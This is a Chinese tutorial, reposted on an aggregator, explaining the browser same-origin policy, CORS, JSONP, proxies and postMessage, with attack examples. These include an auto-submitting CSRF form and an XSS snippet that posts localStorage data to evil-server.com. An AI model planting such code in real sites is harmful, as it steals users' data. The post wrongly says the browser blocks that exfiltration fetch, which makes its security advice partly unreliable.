当前位置： 首页 > news >正文

JS—同源策略：2分钟掌握同源策略

news 2025/7/2 2:11:37

个人博客：haichenyi.com。感谢关注

一. 目录

  • 一–目录
  • 二–什么是“同源”？
  • 三–同源策略的限制范围​
  • 四–允许跨源的场景​
  • 五–如何绕过同源策略（安全方式）​
  • 六–同源策略的安全意义​
  • 七–总结

二. 什么是“同源”？

  什么时同源策略？ 它是浏览器的一种安全机制，用于限制不同源的网页脚本或文档之间的交互，以防止恶意程序获取用户隐私协议或跨站攻击。
  同源策略，同源策略，那什么是同源 呢？只有不同源才有这个限制，所以同源很重要。说同源之前，先讲一下URL的组成：如下

URL组成:协议+域名+端口号+路径+参数。举个栗子：
https://www.haichenyi.com:8080/user?name='haichenyi'&password='123456'
协议(Protocol)：https
域名(Domain)：www.haichenyi.com
端口号(Port)：8080				端口号是可选的
路径(path)：user				路径可能是多级的，比方说：user/a/b类似这种
参数(Query Parameters):?name='haichenyi'&password='123456'				以 ? 开头，键值对用 & 分隔。

  同源的概念：两个URL的协议，域名，端口号全都要相同，才是同源，只要其中一个不满足，都不是同源

URL是否与 http://haichenyi.com/page1 同源？​原因
http://haichenyi.com/page2✅ 是协议，域名，端口号都相同
https://haichenyi.com/page1❌ 否协议不同(httpVShttps)
http://sub.haichenyi.com❌ 否域名不同(主域名VS子域名)
http://haichenyi.com:8080❌ 否端口号不同(默认是80VS8080)

三. 同源策略的限制范围

（3.1）DOM 访问
禁止跨源页面通过JavaScript访问彼此的DOM元素(如：iframe.contentWindow)

// 如果 iframe 加载的是跨源页面，以下操作会抛出安全错误
const iframe = document.getElementById("cross-origin-iframe");
const innerDoc = iframe.contentWindow.document; // ❌ 禁止

（3.2）Cookie、LocalStorage 等存储​

跨源页面无法读取和修改彼此的Cookie和LocalStorage等存储数据

（3.3）AJAX 请求（XMLHttpRequest/Fetch）
默认禁止AJAX请求(需通过CORS机制授权，即服务端告诉可以访问哪个域名下的资源)

四. 允许跨源的场景

浏览器允许某些特定资源的跨域访问，但限制脚本对其内容的直接访问
（4.1）​​嵌入资源
img,srcipt,link,video等标签可以直接加载跨域资源，但JavaScript无法直接读取其内容

<!-- 允许加载跨源脚本，但无法直接访问其内部变量 -->
<script src="https://another-site.com/script.js"></script>

（4.2）​​JSONP（JSON with Padding）
通过 script 标签动态插入跨源脚本，利用回调函数获取数据（需服务器支持）

function handleResponse(data) { console.log(data); }
const script = document.createElement("script");
script.src = "https://api.example.com/data?callback=handleResponse";
document.body.appendChild(script);

（4.3）​​CORS（跨源资源共享）
服务器通过设置HTTP的响应头（如Access-Control-Allow-Origin）明确允许跨域请求

Access-Control-Allow-Origin: https://your-site.com  // 允许特定源
Access-Control-Allow-Origin: *                     // 允许所有源（慎用）

五. 如何绕过同源策略（安全方式）

（5.1） CORS（推荐）​
上面已经介绍过这个方式了。服务器设置响应头，授权指定源的跨域请求：

Access-Control-Allow-Origin: https://your-site.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization

（5.2） 代理服务器
这个方式用的也比较多，通过同源的后端服务器转发请求，从而绕过浏览器限制。一般通过niginx配置转发请求。

浏览器 → 同源代理服务器（your-site.com） → 跨源API（api.another-site.com）

server {
    listen 80;
    server_name frontend.com;

    location / {
        # 前端静态资源
        root /var/www/html;
    }

    location /api {
        # 代理到真实后端API
        proxy_pass http://api.com;
        # 可选：添加CORS头（若后端未设置）
        add_header 'Access-Control-Allow-Origin' 'http://frontend.com';
    }
}
通过Nginx反向代理，​​将不同源的请求转化为同源请求​​，彻底避免触发同源策略。
前端页面：http://frontend.com
Nginx代理：http://frontend.com/api → 实际请求 http://api.com

（5.3） postMessage API​
跨源窗口间通过 postMessage 安全通信：

// 父窗口（your-site.com）向跨源子窗口发送消息
const iframe = document.getElementById("iframe");
iframe.contentWindow.postMessage("Hello", "https://another-site.com");

// 子窗口（another-site.com）监听消息
window.addEventListener("message", (event) => {
  if (event.origin !== "https://your-site.com") return;
  console.log(event.data); // "Hello"
});

（5.4） WebSocket​
WebSocket 协议不受同源策略限制，但需服务器支持：

const socket = new WebSocket("wss://another-site.com/ws");

六. 同源策略的安全意义

（6.1）恶意网站窃取用户数据的例子
场景：钓鱼网站窃取银行账户信息
​攻击流程​​：
  1.用户登录了正规银行网站 https://bank.com，并在浏览器中保留了会话 Cookie。
  2.用户访问了一个恶意网站 http://evil-site.com，该网站内嵌了一个隐藏的 iframe 加载银行页面：

<iframe src="https://bank.com/account"></iframe>

  3.恶意网站尝试通过 JavaScript 读取 iframe 中的内容：

const iframe = document.querySelector("iframe");
const accountData = iframe.contentDocument.body.innerHTML; // 尝试获取账户信息

​同源策略的防护：
  如果没有同源策略，上诉的这个场景，用户的信息就被别人完全读取到了，可以做任意操作了，转账汇款等等
  由于 http://evil-site.com（HTTP）与 https://bank.com（HTTPS）​​协议不同​​，属于跨源。
  浏览器会阻止恶意脚本读取 iframe 的 DOM 内容，抛出安全错误：
SecurityError: Blocked a frame with origin “http://evil-site.com” from accessing a cross-origin frame.

（6.2）跨站请求伪造（CSRF）
​攻击流程​​：
  1.用户登录了社交媒体网站 https://social.com，会话 Cookie 未过期。
  2.用户访问了恶意网站 http://evil-site.com，该网站隐藏了一个自动提交的表单：

<form action="https://social.com/delete-account" method="POST">
  <input type="hidden" name="confirm" value="true">
</form>
<script>document.forms[0].submit();</script>

  3.浏览器会自动携带 social.com 的 Cookie 发送请求，导致用户账户被删除。
同源策略的局限性​​：
  同源策略不阻止跨源请求的发送​​（如表单提交、图片加载），但会阻止脚本读取跨源请求的响应内容。
  防护需结合其他机制​​（如 CSRF Token）：服务器在表单中生成随机 Token，请求时验证 Token 合法性。

（6.3）跨站脚本攻击（XSS）+ 数据窃取
攻击流程​​：
  1.网站 https://vulnerable-site.com 存在 XSS 漏洞，允许攻击者注入恶意脚本：

// 注入的脚本：窃取用户数据并发送到攻击者服务器
const userData = localStorage.getItem("secret");
fetch("http://evil-server.com/steal", { method: "POST", body: userData });

  2.用户访问被注入脚本的页面后，敏感数据被发送到 http://evil-server.com。
​​同源策略的防护​​：
  如果 evil-server.com 是跨源，​​浏览器会阻止 fetch 请求​​（除非服务器明确允许 CORS）：
  漏洞根源是 XSS​​，同源策略无法直接阻止攻击，但能限制数据外泄的路径。

总结

攻击类型​例子​同源策略的作用​
数据窃取恶意网站读取iframe中的dom或者cookie阻止跨域脚本访问其他源的DOM和cookie
​​跨站请求伪造​恶意表单提交或者自动请求不阻止请求的发送，单阻止脚本读取跨域的响应内容
​​XSS + 数据外泄注入脚本尝试将数据发送的攻击服务器阻止跨域的fetch请求（需 CORS 授权）

七. 总结

  • 同源策略​​ 是浏览器保护用户数据安全的核心机制，限制跨源脚本和数据的交互。
  • 跨源操作需通过 CORS、代理、postMessage 等安全方式实现​​。
  • 开发中若遇跨域问题，优先检查服务端是否配置正确的 CORS 头，或使用代理服务器中转请求。
http://www.dtcms.com/a/123292.html

相关文章：

  • vue2添加背景水印-手动实现（无组件模式）
  • 4月10（信息差）
  • linux系统下如何提交git和调试
  • +++++背到厌倦。持续更新
  • python基础语法：缩进规则
  • netty中的ChannelPipeline详解
  • 认知风险→风险转移→保障未来
  • AUTOSAR图解=＞AUTOSAR_SWS_TimeSyncOverEthernet
  • C++: unordered_map、unordered_set
  • 3DGS之光栅化
  • Python爬虫第10节-lxml解析库用 XPath 解析网页
  • 【Pandas】pandas DataFrame head
  • C#容器源码分析 --- List
  • Web前端之Vue+Element实现表格动态不同列合并多行、localeCompare、forEach、table、push、sort、Map
  • 每日算法-250410
  • 队列缓冲最新请求结合线程池的优化方案
  • STM32Cubemx-H7-14-Bootloader（上）-ST和串口烧录
  • django寻味美食分享与交流网站-计算机毕业设计源码74984
  • 重载和重写的区别
  • 年龄增长，特发性震颤为何愈发严重 ？
  • 详解如何从零用 Python复现类似 GPT-4o 的多模态模型
  • [ctfshow web入门] web38
  • 背包问题（java)实现
  • GPU通讯-基础篇
  • 跨境全域中台：前端独立站群+后端共享云仓的协同作战体系
  • 【云服务管理】
  • MySQL SQL Mode
  • Spring Boot MongoDB自定义连接池配置
  • 十分钟机器学习之--------------线性回归
  • 关于 Spring Boot 后端项目使用 Maven 打包命令、JAR/WAR 对比、内嵌服务器与第三方服务器对比，以及热部署配置的详细说明